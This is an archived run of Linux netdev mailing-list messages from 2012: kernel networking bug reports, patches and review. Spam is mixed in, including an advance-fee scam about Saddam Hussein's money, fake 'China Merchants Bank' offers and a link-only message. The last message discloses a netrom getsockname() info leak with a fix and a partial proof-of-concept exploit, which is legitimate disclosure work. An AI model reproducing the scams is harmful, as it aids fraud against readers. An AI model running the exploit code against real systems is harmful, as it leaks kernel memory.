I have no clue whether this is possible ...
^ permalink raw reply
* Re: Question: How to configure the Ethernet receive buffer allocation (was: (no subject)).
From: Eric Dumazet @ 2012-10-13 10:29 UTC (permalink / raw)
To: Ronny Meeus; +Cc: netdev
In-Reply-To: <CAMJ=MEdu9EtYhYHFyXD04b7M4BseX6oDfmB=NB9CAfMo59pxow@mail.gmail.com>
On Sat, 2012-10-13 at 12:14 +0200, Ronny Meeus wrote:
> The ideal solution would be to have a solution were we use a packet
> ring to store the packets in but use a standard socket to receive the
> packets from this ring. In this way we can combine the ideal memory
> usage of the packet ring solution (in fact almost no overhead)
> combined with the virtual memory that must not be wasted in the
> application space.
>
> I have no clue whether this is possible ...
But how do you know before receiving packet from network that its size
will be 1000 instead of 1500 ?
Packet ring is nice when you have the right size, or else you need to
add a copy of packets. Or you dedicate an ethernet device for an
application (direct delivery to user land, no skbs at all)
2.6.32 kernel is a bit old for us on netdev.
If you try latest kernel (Linus tree), you'll discover we no longer use
one kmalloc-4096 entry to store a packet.
However, with MTU=1500, we still consume around 2048 bytes per packet
(including overhead)
If you really cant change packet size and stay at 1000, you could try :
reducing device mtu, to lower wasted ram per packet
^ permalink raw reply
* Re: Question: How to configure the Ethernet receive buffer allocation (was: (no subject)).
From: Ronny Meeus @ 2012-10-13 11:18 UTC (permalink / raw)
To: Eric Dumazet; +Cc: netdev
In-Reply-To: <1350124173.21172.14017.camel@edumazet-glaptop>
On Sat, Oct 13, 2012 at 12:29 PM, Eric Dumazet <eric.dumazet@gmail.com> wrote:
> On Sat, 2012-10-13 at 12:14 +0200, Ronny Meeus wrote:
>
>> The ideal solution would be to have a solution were we use a packet
>> ring to store the packets in but use a standard socket to receive the
>> packets from this ring. In this way we can combine the ideal memory
>> usage of the packet ring solution (in fact almost no overhead)
>> combined with the virtual memory that must not be wasted in the
>> application space.
>>
>> I have no clue whether this is possible ...
>
> But how do you know before receiving packet from network that its size
> will be 1000 instead of 1500 ?
>
> Packet ring is nice when you have the right size, or else you need to
> add a copy of packets. Or you dedicate an ethernet device for an
> application (direct delivery to user land, no skbs at all)
This is in fact the case. This is a dedicated interface and the
packets will not be bigger than 1000 bytes.
>
> 2.6.32 kernel is a bit old for us on netdev.
>
> If you try latest kernel (Linus tree), you'll discover we no longer use
> one kmalloc-4096 entry to store a packet.
>
> However, with MTU=1500, we still consume around 2048 bytes per packet
> (including overhead)
>
> If you really cant change packet size and stay at 1000, you could try :
> reducing device mtu, to lower wasted ram per packet
>
In the mean time I use 64K pages for the kernel and then I see that 2K
buffers are getting used, so I gained already a large amount of
memory.
By reducing the MTU to 1000, it consumes buffers of 2048bytes.
Still not clear to me whether it is possible to combine the packet
ring only in kernel space and receive packets from it using a normal
socket operation?
^ permalink raw reply
* Re: [BUG] Kernel recieves DNS reply, but doesn't deliver it to a waiting application
From: Andrew Savchenko @ 2012-10-13 12:36 UTC (permalink / raw)
To: netdev
In-Reply-To: <20121003232548.eb6b6b22.bircoph@gmail.com>
[-- Attachment #1: Type: text/plain, Size: 2517 bytes --]
Hello,
On Wed, 3 Oct 2012 23:25:48 +0400 Andrew Savchenko wrote:
> I encountered a very weird bug: after a while of uptime kernel stops to deliver
> DNS reply to applications. Tcpdump shows that correct reply is recieved, but
> strace shows inquiring application never recieves it and ends with timeout,
> epoll_wait() always returns 0:
> a slice from: $ host kernel.org 8.8.8.8:
>
> sendmsg(20, {msg_name(16)={sa_family=AF_INET, sin_port=htons(53),
> sin_addr=inet_addr("8.8.8.8")}, msg_iov(1)=[{"\266\344\1\0\0\1\0\0\0\0\0\0\6k
> ernel\3org\0\0\1\0\1", 28}], msg_controllen=0, msg_flags=0}, 0) = 28
> epoll_wait(3, {}, 64, 0) = 0
> epoll_wait(3, {}, 64, 4999) = 0
>
> Though tcpdump shows a normal reply:
>
> 20:28:44.162897 IP 10.7.74.7.43167 > 8.8.8.8.domain: 46820+ A? kernel.org. (28)
> 20:28:44.221308 IP 8.8.8.8.domain > 10.7.74.7.43167: 46820 1/0/0 A 149.20.4.69
> (44)
>
> After this bug has occured, it is no longer possible to perform DNS request on
> the crippled system. I tried to stop/restart all network-related daemons, to
> recreate network interfaces whenever possible (e.g. pppX devices), but with no
> help. I use iptables and ebtables on this host, but reseting them (flushing all
> chains, removing user chains, setting all policies to ACCEPT) doesn't help. The
> only worknig solution is to reboot the system.
>
> This bug happens rarely and randomly (about once in 7-12 days on 24x7 available
> production system), but I had it 5 times already. Due to rare and random nature
> of the bug I can't bisect it.
>
> This problem occured after I updated vanilla kernel from 2.6.39.4 to 3.4.6.
> Afterward I updated kernel to 3.4.10 in the hope that this will fix the
> problem, but with no result. (I updated kernel due to commit
> 2ce42ec4ef551b08d2e5d26775d838ac640f82ad, which describes somewhat similar
> issue, though I don't use I/OAT engine due to lack of hardware support.)
>
> More details, attached trace files and kernel configs are available at bugzilla:
> https://bugzilla.kernel.org/show_bug.cgi?id=48081
>
> In a few days I'll try 3.4.12 (I need to rebuild kernel anyway due to unrelated
> issue) and will report if this bug will occur again. But please note it may
> take several weeks to check this.
I got this problem again with 3.4.12 kernel. System lasted less than
a week and reboot was the only option...
Best regards,
Andrew Savchenko
[-- Attachment #2: Type: application/pgp-signature, Size: 198 bytes --]
^ permalink raw reply
* Re: [patch] RDS: fix an integer overflow check
From: Jeff Liu @ 2012-10-13 13:25 UTC (permalink / raw)
To: Dan Carpenter
Cc: Venkat Venkatsubra, David S. Miller, rds-devel, netdev,
kernel-janitors
In-Reply-To: <20121012073146.GA9543@elgon.mountain>
On 10/12/2012 03:31 PM, Dan Carpenter wrote:
> "len" is an int. We verified that len was postive already. Since
> PAGE_SIZE is specified as an unsigned long, the type it promoted to
> unsigned and the condition is never true.
>
> I'm not sure this check is actually needed. It might be that we could
> just remove it?
>
> Signed-off-by: Dan Carpenter <dan.carpenter@oracle.com>
>
> diff --git a/net/rds/info.c b/net/rds/info.c
> index 9a6b4f6..4d62618 100644
> --- a/net/rds/info.c
> +++ b/net/rds/info.c
> @@ -176,7 +176,7 @@ int rds_info_getsockopt(struct socket *sock, int optname, char __user *optval,
>
> /* check for all kinds of wrapping and the like */
> start = (unsigned long)optval;
> - if (len < 0 || len + PAGE_SIZE - 1 < len || start + len < start) {
Looks the original thought is to check up len + (PAGE_SIZE - 1) < len to
avoid integer overflow, but lack of a "()".
However, we only have one add operation in this function which were
shown as following:
nr_pages = (PAGE_ALIGN(start + len) - (start & PAGE_MASK))
>> PAGE_SHIFT;
I also gone through the call chains, there is no other (start + len)
operations for all transport, I think it's safe to remove this check up
if so.
Thanks,
-Jeff
> + if (len < 0 || len > INT_MAX - (PAGE_SIZE - 1) || start + len < start) {
> ret = -EINVAL;
> goto out;
> }
> --
> To unsubscribe from this list: send the line "unsubscribe kernel-janitors" in
> the body of a message to majordomo@vger.kernel.org
> More majordomo info at http://vger.kernel.org/majordomo-info.html
^ permalink raw reply
* Dear Friend ,
From: info @ 2012-10-13 13:40 UTC (permalink / raw)
To: Recipients
I am Sgt Jason H .Kane , A US Army serving in the 3rd Infantry Division in Iraq. Now in Afghanistan I want you to read this mail carefully and understand it.
In 2003, my men and I found over $900 million in Saddam Hussein's hideout in Baghdad, we sent some back to the Iraq government after counting it in a classified location, but we also kept some behind for ourselves. Some of the money we shared among ourselves worth over $200 million, I kept my own share for a while in a secured place.
I need someone to help me receive it , since i have found a secured way of getting the package out of Iraq for you to pick up through the help of a Red Cross Society or pilots that enjoy some immunities with us while in Iraq .
I do not know for how long I will remain here as I have been lucky to survive 3 suicide bomb attacks by Afghanistan Militant which one of my leg was amputed , i know my survival was an act of God and Pure Divine intervention from God .
I need someone I can trust, since i have already lost a box of gold to someone that said he will help me, I won't like to make the same mistake. The total amount of money is $7.5 million.
View the below link to verify/confirm my statement.
http://news.bbc.co.uk/2/hi/middle_east/2988455.stm
If you can handle this deal let me know immediately, you will receive 20% of the money , all you need to do is to find a safe place where you can keep the box till i leave Afghanistan .
Regards,
Sgt Jason H .Kane
^ permalink raw reply
* Re: [BUG] Kernel recieves DNS reply, but doesn't deliver it to a waiting application
From: Eric Dumazet @ 2012-10-13 13:44 UTC (permalink / raw)
To: Andrew Savchenko; +Cc: netdev
In-Reply-To: <20121013163639.87abca00.bircoph@gmail.com>
On Sat, 2012-10-13 at 16:36 +0400, Andrew Savchenko wrote:
> Hello,
>
> On Wed, 3 Oct 2012 23:25:48 +0400 Andrew Savchenko wrote:
> > I encountered a very weird bug: after a while of uptime kernel stops to deliver
> > DNS reply to applications. Tcpdump shows that correct reply is recieved, but
> > strace shows inquiring application never recieves it and ends with timeout,
> > epoll_wait() always returns 0:
> > a slice from: $ host kernel.org 8.8.8.8:
> >
> > sendmsg(20, {msg_name(16)={sa_family=AF_INET, sin_port=htons(53),
> > sin_addr=inet_addr("8.8.8.8")}, msg_iov(1)=[{"\266\344\1\0\0\1\0\0\0\0\0\0\6k
> > ernel\3org\0\0\1\0\1", 28}], msg_controllen=0, msg_flags=0}, 0) = 28
> > epoll_wait(3, {}, 64, 0) = 0
> > epoll_wait(3, {}, 64, 4999) = 0
> >
> > Though tcpdump shows a normal reply:
> >
> > 20:28:44.162897 IP 10.7.74.7.43167 > 8.8.8.8.domain: 46820+ A? kernel.org. (28)
> > 20:28:44.221308 IP 8.8.8.8.domain > 10.7.74.7.43167: 46820 1/0/0 A 149.20.4.69
> > (44)
> >
> > After this bug has occured, it is no longer possible to perform DNS request on
> > the crippled system. I tried to stop/restart all network-related daemons, to
> > recreate network interfaces whenever possible (e.g. pppX devices), but with no
> > help. I use iptables and ebtables on this host, but reseting them (flushing all
> > chains, removing user chains, setting all policies to ACCEPT) doesn't help. The
> > only worknig solution is to reboot the system.
> >
> > This bug happens rarely and randomly (about once in 7-12 days on 24x7 available
> > production system), but I had it 5 times already. Due to rare and random nature
> > of the bug I can't bisect it.
> >
> > This problem occured after I updated vanilla kernel from 2.6.39.4 to 3.4.6.
> > Afterward I updated kernel to 3.4.10 in the hope that this will fix the
> > problem, but with no result. (I updated kernel due to commit
> > 2ce42ec4ef551b08d2e5d26775d838ac640f82ad, which describes somewhat similar
> > issue, though I don't use I/OAT engine due to lack of hardware support.)
> >
> > More details, attached trace files and kernel configs are available at bugzilla:
> > https://bugzilla.kernel.org/show_bug.cgi?id=48081
> >
> > In a few days I'll try 3.4.12 (I need to rebuild kernel anyway due to unrelated
> > issue) and will report if this bug will occur again. But please note it may
> > take several weeks to check this.
>
> I got this problem again with 3.4.12 kernel. System lasted less than
> a week and reboot was the only option...
You should investigate and check where the incoming packet is lost
Tools :
netstat -s
drop_monitor module and dropwatch command
cat /proc/net/udp
^ permalink raw reply
* Re: [rds-devel] [patch] RDS: fix an integer overflow check
From: Jeff Liu @ 2012-10-13 13:45 UTC (permalink / raw)
To: Dan Carpenter; +Cc: netdev, rds-devel, kernel-janitors, David S. Miller
In-Reply-To: <50796BD4.4000608@oracle.com>
On 10/13/2012 09:25 PM, Jeff Liu wrote:
> On 10/12/2012 03:31 PM, Dan Carpenter wrote:
>> "len" is an int. We verified that len was postive already. Since
>> PAGE_SIZE is specified as an unsigned long, the type it promoted to
>> unsigned and the condition is never true.
>>
>> I'm not sure this check is actually needed. It might be that we could
>> just remove it?
>>
>> Signed-off-by: Dan Carpenter <dan.carpenter@oracle.com>
>>
>> diff --git a/net/rds/info.c b/net/rds/info.c
>> index 9a6b4f6..4d62618 100644
>> --- a/net/rds/info.c
>> +++ b/net/rds/info.c
>> @@ -176,7 +176,7 @@ int rds_info_getsockopt(struct socket *sock, int optname, char __user *optval,
>>
>> /* check for all kinds of wrapping and the like */
>> start = (unsigned long)optval;
>> - if (len < 0 || len + PAGE_SIZE - 1 < len || start + len < start) {
> Looks the original thought is to check up len + (PAGE_SIZE - 1) < len to
> avoid integer overflow, but lack of a "()".
>
> However, we only have one add operation in this function which were
> shown as following:
> nr_pages = (PAGE_ALIGN(start + len) - (start & PAGE_MASK))
> >> PAGE_SHIFT;
>
> I also gone through the call chains, there is no other (start + len)
Sorry, here is a typo. "start + len" is already well-checked.
Actually, I means there is no other "len + (PAGE_SIZE - 1)" operations.
Thanks,
-Jeff
> operations for all transport, I think it's safe to remove this check up
> if so.
>
> Thanks,
> -Jeff
>> + if (len < 0 || len > INT_MAX - (PAGE_SIZE - 1) || start + len < start) {
>> ret = -EINVAL;
>> goto out;
>> }
>> --
>> To unsubscribe from this list: send the line "unsubscribe kernel-janitors" in
>> the body of a message to majordomo@vger.kernel.org
>> More majordomo info at http://vger.kernel.org/majordomo-info.html
>
> _______________________________________________
> rds-devel mailing list
> rds-devel@oss.oracle.com
> https://oss.oracle.com/mailman/listinfo/rds-devel
^ permalink raw reply
* [net: stable request] dst->obsolete handling in 2.6.32-stable kernels - invalid cached routes never invalidated
From: Benjamin LaHaise @ 2012-10-13 17:52 UTC (permalink / raw)
To: David Miller; +Cc: netdev
Hello David et al,
While investigating a problem on a 2.6.32 kernels (still present in 2.6.32.60)
where a change to an ipv4 route was not taking effect, I came across the
"dst->obsolete has become pointless" thread from November 2011 which is
related, eventually finding the problem fixed (or at least worked around) in
2.6.34 by "ipv4: check rt_genid in dst_check" aka
d11a4dc18bf41719c9f0d7ed494d295dd2973b92.
What I am seeing is that dst->obsolete is never being set for a cached
output route that becomes obsolete. For example, a cached route for
10.0.0.3 is never marked obsolete when the route for 10.0.0.3 is removed
from the routing table -- dst_check() and sk_dst_check() never invalidate
the cached dst because of the test for dst->obsolete (which remains 0).
Reproducing the issue is easily done:
# assuming eth0 has some ip and default route
ifconfig eth1 9.0.0.1/8
route add -host 10.0.0.3 gw 9.0.0.2 # assuming there is a 9.0.0.2
nc -u 10.0.0.3 1234
# <enter a few lines and note the packets sent to eth1 via 9.0.0.2>
# On another terminal, without exiting nc, delete the route to 10.0.0.3
route del -host 10.0.0.3 gw 9.0.0.2
# Go back to the first terminal and send a few more packets by
# entering another line or two to nc. Note the packets still go via
# eth1, even though they should now be transmitted via the default
# route on eth0.
To fix this bug, would it be possible to get commit
d11a4dc18bf41719c9f0d7ed494d295dd2973b92 queued up for 2.6.32-stable?
Setting dst.obsolete to -1 seems to be the least invasive way of fixing
this bug. Thanks a bunch,
-ben
--
"Thought is the essence of where you are now."
^ permalink raw reply
* [PATCH] sock filter: fix copy of filter from userspace
From: Stephen Hemminger @ 2012-10-13 18:40 UTC (permalink / raw)
To: Jiri Pirko, David S. Miller; +Cc: netdev
The sk_unattached_filter_create function is passed a socket
filter structure and the copies the contents of the filter from
userspace. Sparse detected that this code was incorrectly using
memcpy when it needed to use copy_from_user instead.
The only use of sk_unattached_filter_create at present is in
the team driver.
Signed-off-by: Stephen Hemminger <shemminger@vyatta.com>
--- a/net/core/filter.c 2012-10-09 10:35:03.183141638 -0700
+++ b/net/core/filter.c 2012-10-13 11:33:05.955531440 -0700
@@ -666,7 +666,9 @@ int sk_unattached_filter_create(struct s
fp = kmalloc(fsize + sizeof(*fp), GFP_KERNEL);
if (!fp)
return -ENOMEM;
- memcpy(fp->insns, fprog->filter, fsize);
+
+ if (copy_from_user(fp->insns, fprog->filter, fsize))
+ return -EFAULT;
atomic_set(&fp->refcnt, 1);
fp->len = fprog->len;
^ permalink raw reply
* Re: [PATCH] sock filter: fix copy of filter from userspace
From: Jiri Pirko @ 2012-10-13 19:19 UTC (permalink / raw)
To: Stephen Hemminger; +Cc: Jiri Pirko, David S. Miller, netdev
In-Reply-To: <20121013114032.2d1c1434@nehalam.linuxnetplumber.net>
Sat, Oct 13, 2012 at 08:40:32PM CEST, shemminger@vyatta.com wrote:
>The sk_unattached_filter_create function is passed a socket
>filter structure and the copies the contents of the filter from
>userspace. Sparse detected that this code was incorrectly using
>memcpy when it needed to use copy_from_user instead.
Hmm. fprog->filter is in this case allocated and filled in kernel.
So memcpy is good.
Not sure how to handle this correctly. Either we remove "__user" or we
redefine "struct sock_fprog" for sk_unattached_filter_create() use.
Any thoughts?
>
>The only use of sk_unattached_filter_create at present is in
>the team driver.
>
>Signed-off-by: Stephen Hemminger <shemminger@vyatta.com>
>
>
>--- a/net/core/filter.c 2012-10-09 10:35:03.183141638 -0700
>+++ b/net/core/filter.c 2012-10-13 11:33:05.955531440 -0700
>@@ -666,7 +666,9 @@ int sk_unattached_filter_create(struct s
> fp = kmalloc(fsize + sizeof(*fp), GFP_KERNEL);
> if (!fp)
> return -ENOMEM;
>- memcpy(fp->insns, fprog->filter, fsize);
>+
>+ if (copy_from_user(fp->insns, fprog->filter, fsize))
>+ return -EFAULT;
>
> atomic_set(&fp->refcnt, 1);
> fp->len = fprog->len;
>--
>To unsubscribe from this list: send the line "unsubscribe netdev" in
>the body of a message to majordomo@vger.kernel.org
>More majordomo info at http://vger.kernel.org/majordomo-info.html
^ permalink raw reply
* Re: [net: stable request] dst->obsolete handling in 2.6.32-stable kernels - invalid cached routes never invalidated
From: David Miller @ 2012-10-13 22:26 UTC (permalink / raw)
To: bcrl; +Cc: netdev
In-Reply-To: <20121013175240.GK5453@kvack.org>
From: Benjamin LaHaise <bcrl@kvack.org>
Date: Sat, 13 Oct 2012 13:52:40 -0400
> To fix this bug, would it be possible to get commit
> d11a4dc18bf41719c9f0d7ed494d295dd2973b92 queued up for 2.6.32-stable?
> Setting dst.obsolete to -1 seems to be the least invasive way of fixing
> this bug. Thanks a bunch,
I do not manage, nor care, about 2.6.32-stable kernels.
I'm going back as far as 3.0.x at this point, so other people
have to take care of the older stuff.
^ permalink raw reply
* Re: [BUG] Kernel recieves DNS reply, but doesn't deliver it to a waiting application
From: Andrew Savchenko @ 2012-10-13 23:11 UTC (permalink / raw)
To: Eric Dumazet; +Cc: netdev
In-Reply-To: <1350135860.21172.14606.camel@edumazet-glaptop>
[-- Attachment #1: Type: text/plain, Size: 1311 bytes --]
Hello,
On Sat, 13 Oct 2012 15:44:20 +0200 Eric Dumazet wrote:
> On Sat, 2012-10-13 at 16:36 +0400, Andrew Savchenko wrote:
> > On Wed, 3 Oct 2012 23:25:48 +0400 Andrew Savchenko wrote:
> > > I encountered a very weird bug: after a while of uptime kernel stops to deliver
> > > DNS reply to applications. Tcpdump shows that correct reply is recieved, but
> > > strace shows inquiring application never recieves it and ends with timeout,
> > > epoll_wait() always returns 0:
> > > a slice from: $ host kernel.org 8.8.8.8:
[...]
> > > In a few days I'll try 3.4.12 (I need to rebuild kernel anyway due to unrelated
> > > issue) and will report if this bug will occur again. But please note it may
> > > take several weeks to check this.
> >
> > I got this problem again with 3.4.12 kernel. System lasted less than
> > a week and reboot was the only option...
>
> You should investigate and check where the incoming packet is lost
>
> Tools :
>
> netstat -s
>
> drop_monitor module and dropwatch command
>
> cat /proc/net/udp
Thank you for you reply; I updated my kernel to 3.4.14, enabled
CONFIG_NET_DROP_MONITOR, and installed dropwatch utility.
I will report back when the bug will struck again.
This may take a weak or two, however.
Best regards,
Andrew Savchenko
[-- Attachment #2: Type: application/pgp-signature, Size: 198 bytes --]
^ permalink raw reply
* (unknown),
From: moumitad @ 2012-10-14 2:03 UTC (permalink / raw)
Complement of the day from DR. MA WEIHUA, President of China Merchants
Bank Ltd, I need your assistance in a business transaction from my Bank to
your Country.
Contact me on : ma.weihua@live.hk
Thanks,
DR Ma Weihua
^ permalink raw reply
* enquiry
From: Royaldoc International Globe @ 2012-10-13 0:10 UTC (permalink / raw)
Royaldoc International Globe,
103, Park son road,
Carlifonia,USA.
63-1-3522 2501
royaldoc@inbox.org.tw
We are interested in purchasing your products and I would like to
make an inquiry. can you inform me of your minimum order quantity? and
also your maximum order quantity, if there is any available sample do
let me know.
Sincerely,
Purchase Manager
Alan Smith
^ permalink raw reply
* (unknown),
From: moumitad @ 2012-10-14 2:32 UTC (permalink / raw)
Complement of the day from DR. MA WEIHUA, President of China Merchants
Bank Ltd, I need your assistance in a business transaction from my Bank to
your Country.
Contact me on : ma.weihua@live.hk
Thanks,
DR Ma Weihua
^ permalink raw reply
* Re: [STABLE REQUEST] add: e1000: fix lockdep splat in shutdown handler
From: Ben Hutchings @ 2012-10-14 9:47 UTC (permalink / raw)
To: David Miller, Steven Rostedt
Cc: linux-kernel, netdev, tglx, stable, jesse.brandeburg,
jeffrey.t.kirsher
In-Reply-To: <20121011.182214.2229957213838024407.davem@davemloft.net>
[-- Attachment #1: Type: text/plain, Size: 610 bytes --]
On Thu, 2012-10-11 at 18:22 -0400, David Miller wrote:
> From: Steven Rostedt <rostedt@goodmis.org>
> Date: Thu, 11 Oct 2012 18:09:45 -0400
>
> > Can you add this to the 3.2 stable tree.
> >
> > commit 3a3847e007aae732d64d8fd1374126393e9879a3
> > Author: Jesse Brandeburg <jesse.brandeburg@intel.com>
> > Date: Wed Jan 4 20:23:33 2012 +0000
> >
> > e1000: fix lockdep splat in shutdown handler
>
> Acked-by: David S. Miller <davem@davemloft.net>
Added to the queue, thanks.
Ben.
--
Ben Hutchings
Always try to do things in chronological order;
it's less confusing that way.
[-- Attachment #2: This is a digitally signed message part --]
[-- Type: application/pgp-signature, Size: 828 bytes --]
^ permalink raw reply
* (unknown),
From: Alexey Dobriyan @ 2012-10-14 10:57 UTC (permalink / raw)
To: rostedt, David.Laight, nab, anton, netdev
http://www.hzsonic.com/en/wp-content/themes/twentyten/career.html
^ permalink raw reply
* [patch net] vlan: fix bond/team enslave of vlan challenged slave/port
From: Jiri Pirko @ 2012-10-14 14:30 UTC (permalink / raw)
To: netdev; +Cc: davem, fubar, andy, kaber, jstanley
In vlan_uses_dev() check for number of vlan devs rather than existence
of vlan_info. The reason is that vlan id 0 is there without appropriate
vlan dev on it by default which prevented from enslaving vlan challenged
dev.
Reported-by: Jon Stanley <jstanley@rmrf.net>
Signed-off-by: Jiri Pirko <jiri@resnulli.us>
---
drivers/net/bonding/bond_main.c | 2 +-
net/8021q/vlan_core.c | 9 ++++++++-
2 files changed, 9 insertions(+), 2 deletions(-)
diff --git a/drivers/net/bonding/bond_main.c b/drivers/net/bonding/bond_main.c
index b721902..b2530b0 100644
--- a/drivers/net/bonding/bond_main.c
+++ b/drivers/net/bonding/bond_main.c
@@ -1519,7 +1519,7 @@ int bond_enslave(struct net_device *bond_dev, struct net_device *slave_dev)
/* no need to lock since we're protected by rtnl_lock */
if (slave_dev->features & NETIF_F_VLAN_CHALLENGED) {
pr_debug("%s: NETIF_F_VLAN_CHALLENGED\n", slave_dev->name);
- if (bond_vlan_used(bond)) {
+ if (vlan_uses_dev(bond_dev)) {
pr_err("%s: Error: cannot enslave VLAN challenged slave %s on VLAN enabled bond %s\n",
bond_dev->name, slave_dev->name, bond_dev->name);
return -EPERM;
diff --git a/net/8021q/vlan_core.c b/net/8021q/vlan_core.c
index fbbf1fa..65e06ab 100644
--- a/net/8021q/vlan_core.c
+++ b/net/8021q/vlan_core.c
@@ -366,6 +366,13 @@ EXPORT_SYMBOL(vlan_vids_del_by_dev);
bool vlan_uses_dev(const struct net_device *dev)
{
- return rtnl_dereference(dev->vlan_info) ? true : false;
+ struct vlan_info *vlan_info;
+
+ ASSERT_RTNL();
+
+ vlan_info = rtnl_dereference(dev->vlan_info);
+ if (!vlan_info)
+ return false;
+ return vlan_info->grp.nr_vlan_devs ? true : false;
}
EXPORT_SYMBOL(vlan_uses_dev);
--
1.7.11.4
^ permalink raw reply related
* Re: regression in bonding driver with VLAN challenged interfaces when 8021q module is loaded
From: Jiri Pirko @ 2012-10-14 14:32 UTC (permalink / raw)
To: Jon Stanley; +Cc: fubar, andy, netdev, linux-kernel, jpirko
In-Reply-To: <CAJtaB1v95Z2b78cKUPYrZtriF6BuHwD2=StyhV3gGOOquNt7fw@mail.gmail.com>
Thu, Oct 11, 2012 at 04:28:40PM CEST, jstanley@rmrf.net wrote:
>Since commit cc0e40700656b09d93b062ef6c818aa45429d09a, there is a
>problem if you have the 8021q module loaded and you then attempt to
>enslave a VLAN challenged interface. This is because VLAN 0 is
>automatically added to the bond, and the new bond_vlan_used() function
>simply checks for an empty list in bond->vlan_list without taking into
>account that VLAN0 might be on the interface.
>
>This specifically affects IPoIB interfaces in a bond if you do a
>down/up cycle on the bond post-boot (during boot, the bonding module
>is loaded prior to the 8021q module, so everything is fine).
>
>Let me know if further information or testing is needed.
Thanks for the report. I just fixed this by following patch:
http://patchwork.ozlabs.org/patch/191363/
^ permalink raw reply
* regression when connecting to ipv6 localhost
From: Jan Hinnerk Stosch @ 2012-10-14 15:38 UTC (permalink / raw)
To: netdev
Hi,
I detected a small regression since linux 3.6.0:
When I run "ntpq -p" to query the status of my ntp-daemon I receive a
timeout (localhost.localdomain: timed out, nothing received
***Request timed out). Strace shows that connecting to the ipv6
loopback interface times out. If I explicitly use ipv4 (ntpq -4 -p)
everything works as intended. Downgrading to linux 3.5.6 solves that
issue.
I reported a bug both to my distribution
(https://bugs.archlinux.org/task/31775) and to the kernel bugtracker
(https://bugzilla.kernel.org/show_bug.cgi?id=48741) not knowing
exactly which component caused the regression, so I was told to ask
this here. At the kernel-report you find an strace and tcpdump output.
If you need any further information just tell me, but be patient as me
kernel knowledge tends to zero.
Thanks in advance, Jan Hinnerk
^ permalink raw reply
* [PATCH] usb/ipheth: Add iPhone 5 support
From: Jan Ceuleers @ 2012-10-14 17:07 UTC (permalink / raw)
To: David S. Miller; +Cc: netdev, Jay Purohit, Valdis Kletnieks
In-Reply-To: <20121011.171540.781078040657458587.davem@davemloft.net>
From: Jay Purohit <jspurohit@velocitylimitless.com>
I noticed that the iPhone ethernet driver did not support
iPhone 5. I quickly added support to it in my kernel, here's
a patch.
Signed-off-by: Jay Purohit <jspurohit@velocitylimitless.com>
Acked-by: Valdis Kletnieks <valdis.kletnieks@vt.edu>
Signed-off-by: Jan Ceuleers <jan.ceuleers@computer.org>
---
Resubmitting on behalf of Jay, as he may have toolchain issues.
drivers/net/usb/ipheth.c | 5 +++++
1 file changed, 5 insertions(+)
diff --git a/drivers/net/usb/ipheth.c b/drivers/net/usb/ipheth.c
index a28a983..534d8be 100644
--- a/drivers/net/usb/ipheth.c
+++ b/drivers/net/usb/ipheth.c
@@ -62,6 +62,7 @@
#define USB_PRODUCT_IPAD 0x129a
#define USB_PRODUCT_IPHONE_4_VZW 0x129c
#define USB_PRODUCT_IPHONE_4S 0x12a0
+#define USB_PRODUCT_IPHONE_5 0x12a8
#define IPHETH_USBINTF_CLASS 255
#define IPHETH_USBINTF_SUBCLASS 253
@@ -113,6 +114,10 @@ static struct usb_device_id ipheth_table[] = {
USB_VENDOR_APPLE, USB_PRODUCT_IPHONE_4S,
IPHETH_USBINTF_CLASS, IPHETH_USBINTF_SUBCLASS,
IPHETH_USBINTF_PROTO) },
+ { USB_DEVICE_AND_INTERFACE_INFO(
+ USB_VENDOR_APPLE, USB_PRODUCT_IPHONE_5,
+ IPHETH_USBINTF_CLASS, IPHETH_USBINTF_SUBCLASS,
+ IPHETH_USBINTF_PROTO) },
{ }
};
MODULE_DEVICE_TABLE(usb, ipheth_table);
--
1.7.9.5
^ permalink raw reply related
* [PATCH] netrom: fix info leak via getsockname()
From: Clément Lecigne @ 2012-10-14 18:23 UTC (permalink / raw)
To: netdev
[-- Attachment #1: Type: text/plain, Size: 951 bytes --]
The following patch fixes a 3 bytes info leak via getsockname() on
AF_NETROM socket.
Details:
typedef struct {
char ax25_call[7]; /* 6 call + SSID (shifted ascii!) */
} ax25_address;
struct sockaddr_ax25 {
__kernel_sa_family_t sax25_family;
ax25_address sax25_call;
int sax25_ndigis;
/* Digipeater ax25_address sets follow */
};
After compilation, gcc will add 3 padding bytes after sax25_call to
align sax25_ndigis and nr_getname does not clear these padding bytes
before returning to userland, poc attached.
Signed-off-by: Clement Lecigne <clemun@gmail.com>
--- a/net/netrom/af_netrom.c
+++ b/net/netrom/af_netrom.c
@@ -838,6 +838,8 @@ static int nr_getname(struct socket *sock, struct
sockaddr *uaddr,
struct sock *sk = sock->sk;
struct nr_sock *nr = nr_sk(sk);
+ memset(sax, 0, sizeof(struct sockaddr_ax25));
+
lock_sock(sk);
if (peer != 0) {
if (sk->sk_state != TCP_ESTABLISHED) {
[-- Attachment #2: netrom.c --]
[-- Type: text/x-csrc, Size: 3217 bytes --]
/* netrom.c - getsockname() 3 bytes infoleak.
*
* (c) clem1.be - 2o12
*/
#include <stdlib.h>
#include <string.h>
#include <stdio.h>
#include <errno.h>
#include <unistd.h>
#include <time.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <sys/syscall.h>
#include <linux/netrom.h>
/* from Jon Oberheide sploit
*/
void kernop(int fd)
{
const int randcalls[] = {
__NR_read, __NR_write, __NR_open, __NR_close, __NR_stat, __NR_lstat,
__NR_lseek, __NR_rt_sigaction, __NR_rt_sigprocmask, __NR_ioctl,
__NR_access, __NR_pipe, __NR_sched_yield, __NR_mremap, __NR_dup,
__NR_dup2, __NR_getitimer, __NR_setitimer, __NR_getpid, __NR_fcntl,
__NR_flock, __NR_getdents, __NR_getcwd, __NR_gettimeofday,
__NR_getrlimit, __NR_getuid, __NR_getgid, __NR_geteuid, __NR_getegid,
__NR_getppid, __NR_getpgrp, __NR_getgroups, __NR_getresuid,
__NR_getresgid, __NR_getpgid, __NR_getsid,__NR_getpriority,
__NR_sched_getparam, __NR_sched_get_priority_max
};
const int randsopts[] = { SOL_SOCKET, AF_APPLETALK };
int ret, len;
char buf[1024];
do
{
switch (rand() % 3)
{
case 0:
ret = syscall(randcalls[rand() % sizeof(randcalls)/sizeof(randcalls[0])]);
break;
case 1:
len = (rand() % 2) ? sizeof(int) : sizeof(buf);
ret = getsockopt(fd, randsopts[rand() % sizeof(randsopts)/sizeof(randsopts[0])], rand() % 130, &buf, &len);
break;
case 2:
len = (rand() % 2) ? sizeof(int) : sizeof(buf);
ret = setsockopt(fd, randsopts[rand() % sizeof(randsopts)/sizeof(randsopts[0])], rand() % 130, &buf, len);
